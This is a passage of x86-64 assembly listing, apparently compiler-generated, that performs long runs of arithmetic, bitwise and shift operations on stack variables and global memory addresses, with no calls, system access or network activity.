add eax, ecx
mov byte [0x1401cc008], al
mov rax, qword [rsp + 0x8db0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8fa8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8ca8]
mov byte [rcx], al
lea rax, [rsp + 0x14f0]
mov qword [rsp + 0x9380], rax
movsx eax, byte [rsp + 0x1e4]
movsx ecx, byte [rsp + 0x1f9]
sub eax, ecx
mov byte [rsp + 0x1dd], al
mov rax, qword [0x1401cd778]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8c50]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x91d8]
mov byte [rcx], al
mov rax, qword [rsp + 0x9360]
mov eax, dword [rax]
mov dword [rsp + 0x4e9c], eax
mov rax, qword [rsp + 0x91a8]
mov rcx, qword [rsp + 0x9040]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9220], rax
mov rax, qword [0x1401cc010]
mov qword [rsp + 0x9388], rax
mov rax, qword [rsp + 0x8de0]
mov rcx, qword [rsp + 0x8c58]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4e44], eax
mov rax, qword [rsp + 0x90e0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1f5]
sub eax, ecx
mov byte [0x1401cc00e], al
mov rax, qword [rsp + 0x91c0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9028]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x14c8], ax
movsx eax, byte [rsp + 0x1e4]
movsx ecx, byte [rsp + 0x1f2]
add eax, ecx
mov byte [rsp + 0x101], al
movzx eax, word [0x1401cc040]
movzx ecx, word [rsp + 0x121c]
shl eax, cl
mov word [rsp + 0x1534], ax
mov rax, qword [rsp + 0x9038]
movzx eax, word [rax]
mov word [rsp + 0x1558], ax
mov eax, dword [rsp + 0x4e50]
mov ecx, dword [rsp + 0x4e3c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e60], eax
mov rax, qword [rsp + 0x91a8]
movzx ecx, al
mov rax, qword [rsp + 0x9068]
sar rax, cl
mov qword [rsp + 0x9338], rax
mov eax, dword [rsp + 0x4e74]
mov dword [rsp + 0x4ea0], eax
mov rax, qword [rsp + 0x8d58]
mov rcx, qword [rsp + 0x8fd8]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x9388], rax
mov rax, qword [0x1401cd758]
movzx eax, byte [rax]
mov byte [rsp + 0x203], al
mov rax, qword [rsp + 0x92e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1508]
and eax, ecx
mov word [0x1401cc030], ax
mov rax, qword [rsp + 0x9380]
movsx eax, word [rax]
mov rcx, qword [0x1401cd7d0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1554], ax
mov rax, qword [rsp + 0x9190]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8c50]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9050]
mov byte [rcx], al
mov rax, qword [rsp + 0x9070]
movzx eax, word [rax]
mov word [rsp + 0x155c], ax
mov rax, qword [rsp + 0x9378]
mov rcx, qword [rsp + 0x9228]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4e64], eax
mov eax, dword [rsp + 0x4e78]
mov dword [rsp + 0x4ea4], eax
mov rax, qword [rsp + 0x9258]
mov rcx, qword [rsp + 0x9350]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9010], rax
lea rax, [rsp + 0x8e70]
mov qword [rsp + 0x9390], rax
mov rax, qword [0x1401cd730]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x166]
sub eax, ecx
mov byte [rsp + 0x1fe], al
lea rax, [rsp + 0x1e2]
mov qword [0x1401cd7e0], rax
movsx eax, word [rsp + 0x1554]
movsx ecx, word [rsp + 0x14f4]
add eax, ecx
mov word [rsp + 0x14ec], ax
mov rax, qword [rsp + 0x9038]
movzx eax, word [rax]
mov word [rsp + 0x1560], ax
movsx eax, byte [rsp + 0x1ff]
mov rcx, qword [rsp + 0x8fa0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x1e4], al
mov eax, dword [rsp + 0x4ea0]
mov dword [rsp + 0x4ea8], eax
mov rax, qword [rsp + 0x90f8]
mov rax, qword [rax]
mov rcx, qword [0x1401cc010]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8dd8], rax
mov rax, qword [rsp + 0x9130]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8f90]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x9310], rax
mov rax, qword [rsp + 0x8d08]
mov eax, dword [rax]
mov dword [rsp + 0x4eac], eax
movzx eax, byte [rsp + 0x1fb]
mov rcx, qword [rsp + 0x8d78]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9260]
mov byte [rcx], al
movsx eax, word [rsp + 0x14c8]
movsx ecx, word [rsp + 0x154c]
shl eax, cl
mov rcx, qword [0x1401cd740]
mov word [rcx], ax
lea rax, [rsp + 0x1540]
mov qword [rsp + 0x9398], rax
mov rax, qword [0x1401cd768]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x14c4]
xor eax, ecx
mov rcx, qword [rsp + 0x92b8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8c48]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1f9]
sub eax, ecx
mov byte [rsp + 0x1fd], al
mov rax, qword [rsp + 0x8c38]
mov rcx, qword [0x1401cd728]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x8100], rax
mov eax, dword [rsp + 0x4d00]
mov ecx, dword [rsp + 0x4de8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e40], eax
lea rax, [rsp + 0x4e84]
mov qword [rsp + 0x93a0], rax
mov rax, qword [rsp + 0x84e0]
mov rcx, qword [0x1401cc028]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9020]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9178]
movzx eax, byte [rax]
mov byte [rsp + 0x204], al
mov rax, qword [rsp + 0x9358]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8ef8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401cc00f], al
movzx eax, byte [0x1401cc00c]
mov rcx, qword [rsp + 0x8f80]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8c00]
mov byte [rcx], al
mov rax, qword [rsp + 0x9398]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1510]
sub eax, ecx
mov rcx, qword [rsp + 0x8d50]
mov word [rcx], ax
movzx eax, word [rsp + 0x1464]
mov word [rsp + 0x1564], ax
movsx eax, byte [rsp + 0x1dd]
movsx ecx, byte [rsp + 0x1e6]
sub eax, ecx
mov byte [rsp + 0x166], al
mov eax, dword [rsp + 0x4d54]
mov dword [rsp + 0x4eb0], eax
mov rax, qword [rsp + 0x9078]
mov rcx, qword [rsp + 0x8b40]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9110], rax
mov rax, qword [rsp + 0x9020]
mov rcx, qword [rsp + 0x8fc0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x92b0]
mov qword [rcx], rax
lea rax, [rsp + 0x4e58]
mov qword [rsp + 0x93a8], rax
mov rax, qword [rsp + 0x8ed8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x90b8]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [0x1401cd750]
mov word [rcx], ax
mov rax, qword [rsp + 0x91c0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9380]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x14e8], ax
lea rax, [rsp + 0x1ce]
mov qword [rsp + 0x93b0], rax
movzx eax, word [rsp + 0x1528]
movzx ecx, word [0x1401cc03c]
xor eax, ecx
mov rcx, qword [rsp + 0x9398]
mov word [rcx], ax
mov rax, qword [rsp + 0x91c0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9248]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x9380]
mov word [rcx], ax
mov eax, dword [rsp + 0x4dd8]
mov dword [rsp + 0x4eb4], eax
mov rax, qword [rsp + 0x9288]
mov rcx, qword [rsp + 0x9198]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x84e0], rax
mov rax, qword [rsp + 0x9158]
mov eax, dword [rax]
mov dword [rsp + 0x4eb8], eax
mov rax, qword [rsp + 0x9130]
mov rcx, qword [rsp + 0x9078]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9338], rax
mov rax, qword [rsp + 0x92a8]
movzx eax, byte [rax]
mov byte [0x1401cd727], al
mov rax, qword [0x1401cd770]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8bf0]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9080]
mov word [rcx], ax
mov rax, qword [rsp + 0x9058]
movzx eax, byte [rax]
mov byte [rsp + 0x205], al
movsx eax, word [rsp + 0x1564]
mov rcx, qword [rsp + 0x9380]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8fe8]
mov word [rcx], ax
mov rax, qword [0x1401cd7a8]
movzx eax, byte [rax]
mov byte [rsp + 0x206], al
mov rax, qword [rsp + 0x8d70]
mov rcx, qword [rsp + 0x9210]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8fb0], rax
lea rax, [rsp + 0x4cd4]
mov qword [rsp + 0x93b8], rax
mov rax, qword [rsp + 0x9228]
mov eax, dword [rax]
mov ecx, dword [0x1401cc01c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9378]
mov dword [rcx], eax
mov rax, qword [rsp + 0x92c0]
mov rcx, qword [rsp + 0x8fd0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8c98], rax
mov rax, qword [rsp + 0x8f80]
movzx eax, byte [rax]
mov rcx, qword [0x1401cd7c8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401cc01a], al
lea rax, [rsp + 0x1e8]
mov qword [rsp + 0x93c0], rax
movsx eax, word [rsp + 0x1524]
mov rcx, qword [rsp + 0x8fe8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1544], ax
movzx eax, byte [rsp + 0x1ee]
mov byte [rsp + 0x207], al
mov rax, qword [rsp + 0x90c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9070]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x14f8], ax
mov rax, qword [rsp + 0x8f60]
mov ecx, dword [rsp + 0x4e94]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4cf0], eax
mov rax, qword [rsp + 0x9130]
mov rcx, qword [rsp + 0x8fe0]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x7f38], rax
mov rax, qword [rsp + 0x8d58]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x91b8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x8be8], rax
mov rax, qword [rsp + 0x9280]
mov eax, dword [rax]
mov dword [rsp + 0x4ebc], eax
movsx eax, byte [rsp + 0x206]
mov rcx, qword [rsp + 0x93c0]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [0x1401cd758]
mov byte [rcx], al
movzx eax, word [rsp + 0x1558]
mov rcx, qword [rsp + 0x8f08]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x90b8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x205]
movzx ecx, byte [rsp + 0x1e2]
and eax, ecx
mov rcx, qword [rsp + 0x8c50]
mov byte [rcx], al
mov rax, qword [rsp + 0x8db8]
movzx eax, word [rax]
mov word [rsp + 0x1568], ax
mov rax, qword [rsp + 0x91c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9398]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1530], ax
lea rax, [rsp + 0x4ebc]
mov qword [rsp + 0x93c8], rax
mov rax, qword [rsp + 0x8e20]
mov rcx, qword [0x1401cc020]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9258]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8f18]
mov rcx, qword [rsp + 0x91f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4e4c], eax
mov rax, qword [rsp + 0x9390]
mov rax, qword [rax]
mov qword [rsp + 0x93d0], rax
mov rax, qword [rsp + 0x8c00]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9260]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401cd716], al
mov rax, qword [rsp + 0x8d00]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9318]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8fa0]
mov byte [rcx], al
movzx eax, word [0x1401cc04c]
mov word [rsp + 0x156c], ax
mov rax, qword [rsp + 0x8d50]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1538]
add eax, ecx
mov rcx, qword [rsp + 0x9038]
mov word [rcx], ax
lea rax, [rsp + 0x1e3]
mov qword [rsp + 0x93d8], rax
mov rax, qword [rsp + 0x8ff8]
mov rcx, qword [rsp + 0x8e20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9068], rax
mov eax, dword [rsp + 0x4e7c]
mov ecx, dword [rsp + 0x4e3c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x93b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8ed0]
mov rax, qword [rax]
mov qword [rsp + 0x93e0], rax
mov rax, qword [rsp + 0x9290]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4e48]
sar eax, cl
mov rcx, qword [rsp + 0x9240]
mov dword [rcx], eax
movsx eax, word [rsp + 0x11f4]
mov rcx, qword [rsp + 0x8fe8]
movsx ecx, word [rcx]
xor eax, ecx
mov word [0x1401cc058], ax
lea rax, [rsp + 0x1ef]
mov qword [rsp + 0x93e8], rax
mov rax, qword [rsp + 0x9230]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1e0]
or eax, ecx
mov byte [rsp + 0x207], al
movsx eax, byte [rsp + 0x101]
movsx ecx, byte [rsp + 0x204]
shl eax, cl
mov byte [rsp + 0x1dc], al
movzx eax, word [rsp + 0x1544]
mov word [rsp + 0x1570], ax
mov rax, qword [rsp + 0x92c0]
mov rcx, qword [rsp + 0x9338]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x87c8], rax
mov eax, dword [rsp + 0x4eb4]
mov dword [rsp + 0x4ec0], eax
mov rax, qword [rsp + 0x9198]
mov rcx, qword [rsp + 0x8f58]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x90f8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4e70]
mov ecx, dword [0x1401cd710]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e38], eax
movsx eax, word [rsp + 0x1514]
movsx ecx, word [rsp + 0x14e0]
add eax, ecx
mov word [0x1401cd714], ax
movzx eax, word [rsp + 0x1528]
mov word [rsp + 0x1574], ax
movzx eax, byte [rsp + 0x205]
movzx ecx, byte [rsp + 0x1f1]
sub eax, ecx
mov byte [rsp + 0x1ce], al
mov rax, qword [rsp + 0x8cc0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9178]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x16a], al
movzx eax, word [rsp + 0x155c]
movzx ecx, word [0x1401cc030]
sub eax, ecx
mov rcx, qword [rsp + 0x92e8]
mov word [rcx], ax
lea rax, [rsp + 0x4e84]
mov qword [rsp + 0x93f0], rax
mov rax, qword [rsp + 0x9350]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8f28]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x90d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9188]
mov rcx, qword [rsp + 0x8e70]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x93d0], rax
mov eax, dword [rsp + 0x4e74]
mov dword [rsp + 0x4ec4], eax
mov rax, qword [rsp + 0x91d8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8c50]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8d78]
mov byte [rcx], al
movzx eax, word [rsp + 0x1564]
mov word [0x1401cd7e8], ax
movzx eax, byte [rsp + 0x1dd]
mov byte [rsp + 0x208], al
mov rax, qword [rsp + 0x9340]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x121c]
sar eax, cl
mov rcx, qword [rsp + 0x9038]
mov word [rcx], ax
mov rax, qword [rsp + 0x8fe8]
movsx eax, word [rax]
movsx ecx, word [0x1401cd714]
shl eax, cl
mov rcx, qword [rsp + 0x8f30]
mov word [rcx], ax
lea rax, [rsp + 0x9010]
mov qword [rsp + 0x93f8], rax
mov rax, qword [rsp + 0x91d0]
mov rcx, qword [rsp + 0x8c80]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x9240]
mov dword [rcx], eax
lea rax, [rsp + 0x4e3c]
mov qword [rsp + 0x9400], rax
mov rax, qword [rsp + 0x9330]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x88e8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x8be8], rax
movsx eax, byte [rsp + 0x1f2]
movsx ecx, byte [rsp + 0x208]
and eax, ecx
mov byte [rsp + 0x1f6], al
lea rax, [rsp + 0x1f8]
mov qword [0x1401cd7f0], rax
mov rax, qword [0x1401cd7a0]
movzx eax, word [rax]
mov word [rsp + 0x1578], ax
movzx eax, word [rsp + 0x155c]
mov rcx, qword [rsp + 0x8f08]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1550], ax
mov rax, qword [rsp + 0x8bf0]
movzx eax, word [rax]
mov word [rsp + 0x157c], ax
mov rax, qword [0x1401cd728]
mov rcx, qword [rsp + 0x9068]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8b40], rax
mov rax, qword [rsp + 0x90a0]
mov rcx, qword [rsp + 0x8fb0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8fd8]
mov qword [rcx], rax
lea rax, [rsp + 0x4e68]
mov qword [rsp + 0x9408], rax
mov rax, qword [rsp + 0x9280]
mov rcx, qword [rsp + 0x8d18]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4ea0], eax
lea rax, [rsp + 0x1e1]
mov qword [rsp + 0x9410], rax
mov rax, qword [rsp + 0x8ed8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x91c8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401cc050], ax
movsx eax, byte [rsp + 0x1de]
movsx ecx, byte [rsp + 0x1e3]
and eax, ecx
mov rcx, qword [rsp + 0x8fa0]
mov byte [rcx], al
mov rax, qword [rsp + 0x8fa0]
movzx eax, byte [rax]
mov byte [rsp + 0x209], al
movzx eax, byte [rsp + 0x1ef]
mov rcx, qword [rsp + 0x8c00]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8d48]
mov byte [rcx], al
mov rax, qword [rsp + 0x8f48]
mov rcx, qword [rsp + 0x9308]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4e6c], eax
mov rax, qword [rsp + 0x8c98]
mov qword [rsp + 0x9418], rax
mov rax, qword [rsp + 0x9280]
mov rcx, qword [rsp + 0x9378]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4e70], eax
lea rax, [rsp + 0x92f8]
mov qword [rsp + 0x9420], rax
mov rax, qword [rsp + 0x8ca8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9300]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x1f0], al
lea rax, [rsp + 0x14dc]
mov qword [0x1401cd7f8], rax
movzx eax, byte [0x1401cc01a]
mov rcx, qword [rsp + 0x8c00]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x1ed], al
mov rax, qword [rsp + 0x9340]
movzx eax, word [rax]
mov word [rsp + 0x1580], ax
mov rax, qword [rsp + 0x8f70]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8db8]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x14f0], ax
mov rax, qword [rsp + 0x8db0]
movzx eax, byte [rax]
mov byte [rsp + 0x20a], al
mov rax, qword [rsp + 0x8ee8]
mov rcx, qword [rsp + 0x9308]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x93f0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4ca4]
mov ecx, dword [rsp + 0x4eb8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4b18], eax
mov rax, qword [rsp + 0x9040]
mov qword [rsp + 0x9428], rax
mov rax, qword [rsp + 0x8d58]
mov rcx, qword [rsp + 0x84e0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8bf8]
mov qword [rcx], rax
movzx eax, word [rsp + 0x14d4]
movzx ecx, word [rsp + 0x1550]
add eax, ecx
mov rcx, qword [0x1401cd750]
mov word [rcx], ax
lea rax, [rsp + 0x1ee]
mov qword [rsp + 0x9430], rax
movsx eax, word [rsp + 0x14ec]
movsx ecx, word [rsp + 0x11f4]
sub eax, ecx
mov rcx, qword [rsp + 0x9380]
mov word [rcx], ax
movsx eax, byte [rsp + 0x1f0]
mov rcx, qword [0x1401cd758]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x143], al
movzx eax, word [rsp + 0x14d4]
mov rcx, qword [rsp + 0x8f08]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x91c8]
mov word [rcx], ax
mov eax, dword [rsp + 0x4ec4]
mov ecx, dword [rsp + 0x4de8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4da0], eax
mov rax, qword [rsp + 0x8fe0]
mov rax, qword [rax]
mov qword [rsp + 0x9438], rax
mov rax, qword [rsp + 0x8d10]
mov rcx, qword [rsp + 0x9420]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x8dd8], rax
lea rax, [rsp + 0x4eac]
mov qword [rsp + 0x9440], rax
mov rax, qword [rsp + 0x8db8]
movsx eax, word [rax]
mov rcx, qword [0x1401cd7d0]
movsx ecx, word [rcx]
imul eax, ecx
mov word [0x1401cc04c], ax
movsx eax, byte [rsp + 0x1e3]
movsx ecx, byte [rsp + 0x208]
add eax, ecx
mov byte [rsp + 0x1f6], al
mov rax, qword [rsp + 0x91c0]
movsx eax, word [rax]
mov rcx, qword [0x1401cd798]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x14d8], ax
lea rax, [rsp + 0x1510]
mov qword [rsp + 0x9448], rax
mov rax, qword [rsp + 0x8d78]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x91e0]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x9190]
mov byte [rcx], al
lea rax, [rsp + 0x8fd0]
mov qword [rsp + 0x9450], rax
mov eax, dword [rsp + 0x4e3c]
mov rcx, qword [rsp + 0x8f48]
mov qword [rsp + 0x9458], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9458]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4e60], eax
mov rax, qword [rsp + 0x8d18]
mov rcx, qword [rsp + 0x93c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4b18], eax
lea rax, [rsp + 0x8ca0]
mov qword [rsp + 0x9460], rax
lea rax, [0x1401cc054]
mov qword [0x1401cd800], rax
mov rax, qword [rsp + 0x8fb8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x90e0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1ee], al
movzx eax, byte [rsp + 0x1f4]
mov byte [rsp + 0x20b], al
mov rax, qword [rsp + 0x92b8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x14c8]
imul eax, ecx
mov rcx, qword [rsp + 0x91c0]
mov word [rcx], ax
mov rax, qword [rsp + 0x8c00]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9358]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x92a0]
mov byte [rcx], al
mov eax, dword [rsp + 0x4cd4]
mov dword [rsp + 0x4ec8], eax
mov rax, qword [rsp + 0x9078]
mov rax, qword [rax]
mov rcx, qword [0x1401cc020]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9418], rax
lea rax, [rsp + 0x4d18]
mov qword [rsp + 0x9468], rax
mov rax, qword [rsp + 0x9168]
mov rcx, qword [rsp + 0x9238]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9388], rax
movsx eax, byte [rsp + 0x101]
movsx ecx, byte [rsp + 0x1f7]
sub eax, ecx
mov byte [0x1401cc00d], al
movzx eax, word [rsp + 0x1540]
mov word [rsp + 0x1584], ax
movzx eax, byte [rsp + 0x1b1]
movzx ecx, byte [rsp + 0xb2]
sub eax, ecx
mov rcx, qword [rsp + 0x8d48]
mov byte [rcx], al
mov rax, qword [0x1401cd7d0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x153c]
sub eax, ecx
mov word [rsp + 0x154c], ax
mov rax, qword [rsp + 0x9080]
movzx eax, word [rax]
mov word [rsp + 0x1588], ax
mov rax, qword [rsp + 0x93f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9418]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9350]
mov qword [rcx], rax
lea rax, [rsp + 0x4eac]
mov qword [rsp + 0x9470], rax
mov rax, qword [rsp + 0x9420]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9388]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x90f8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9468]
mov ecx, dword [rsp + 0x4d18]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4e48], eax
movzx eax, byte [rsp + 0x1ed]
mov rcx, qword [rsp + 0x8f80]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [0x1401cc01b], al
movzx eax, byte [rsp + 0x16a]
mov byte [rsp + 0x20c], al
mov rax, qword [rsp + 0x9328]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8de8]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x152c], ax
mov rax, qword [rsp + 0x8f30]
movzx eax, word [rax]
mov word [rsp + 0x158c], ax
mov rax, qword [rsp + 0x8d48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1fa]
shl eax, cl
mov byte [rsp + 0x1ea], al
mov eax, dword [rsp + 0x4e3c]
movzx ecx, al
mov eax, dword [rsp + 0x4cd4]
shr eax, cl
mov dword [rsp + 0x4e94], eax
mov eax, dword [rsp + 0x4e24]
mov dword [rsp + 0x4ecc], eax
mov rax, qword [rsp + 0x9130]
mov rcx, qword [rsp + 0x9090]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x90d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8ed0]
mov rcx, qword [rsp + 0x9420]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x86e8], rax
lea rax, [rsp + 0x14fc]
mov qword [0x1401cd808], rax
mov rax, qword [rsp + 0x9050]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x205]
and eax, ecx
mov rcx, qword [rsp + 0x8f80]
mov byte [rcx], al
mov rax, qword [rsp + 0x9300]
movsx eax, byte [rax]
movsx ecx, byte [0x1401cd717]
sub eax, ecx
mov rcx, qword [rsp + 0x93c0]
mov byte [rcx], al
lea rax, [rsp + 0x1554]
mov qword [rsp + 0x9478], rax
mov rax, qword [rsp + 0x9178]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x20a]
add eax, ecx
mov rcx, qword [rsp + 0x8f40]
mov byte [rcx], al
mov eax, dword [rsp + 0x4e98]
mov dword [rsp + 0x4ed0], eax
mov rax, qword [rsp + 0x92c0]
mov rcx, qword [rsp + 0x8f28]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8fe0]
mov qword [rcx], rax
lea rax, [rsp + 0x9210]
mov qword [rsp + 0x9480], rax
mov eax, dword [0x1401cd710]
mov ecx, dword [rsp + 0x4de8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e54], eax
movzx eax, word [rsp + 0x1538]
movzx ecx, word [rsp + 0x1530]
sub eax, ecx
mov rcx, qword [0x1401cd738]
mov word [rcx], ax
movsx eax, byte [rsp + 0x1dc]
mov rcx, qword [rsp + 0x9138]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x92a8]
mov byte [rcx], al
mov rax, qword [rsp + 0x9430]
movzx eax, byte [rax]
mov byte [rsp + 0x20d], al
movzx eax, word [rsp + 0x1538]
movzx ecx, word [rsp + 0x1588]
add eax, ecx
mov word [rsp + 0x1530], ax
lea rax, [rsp + 0x14d8]
mov qword [rsp + 0x9488], rax
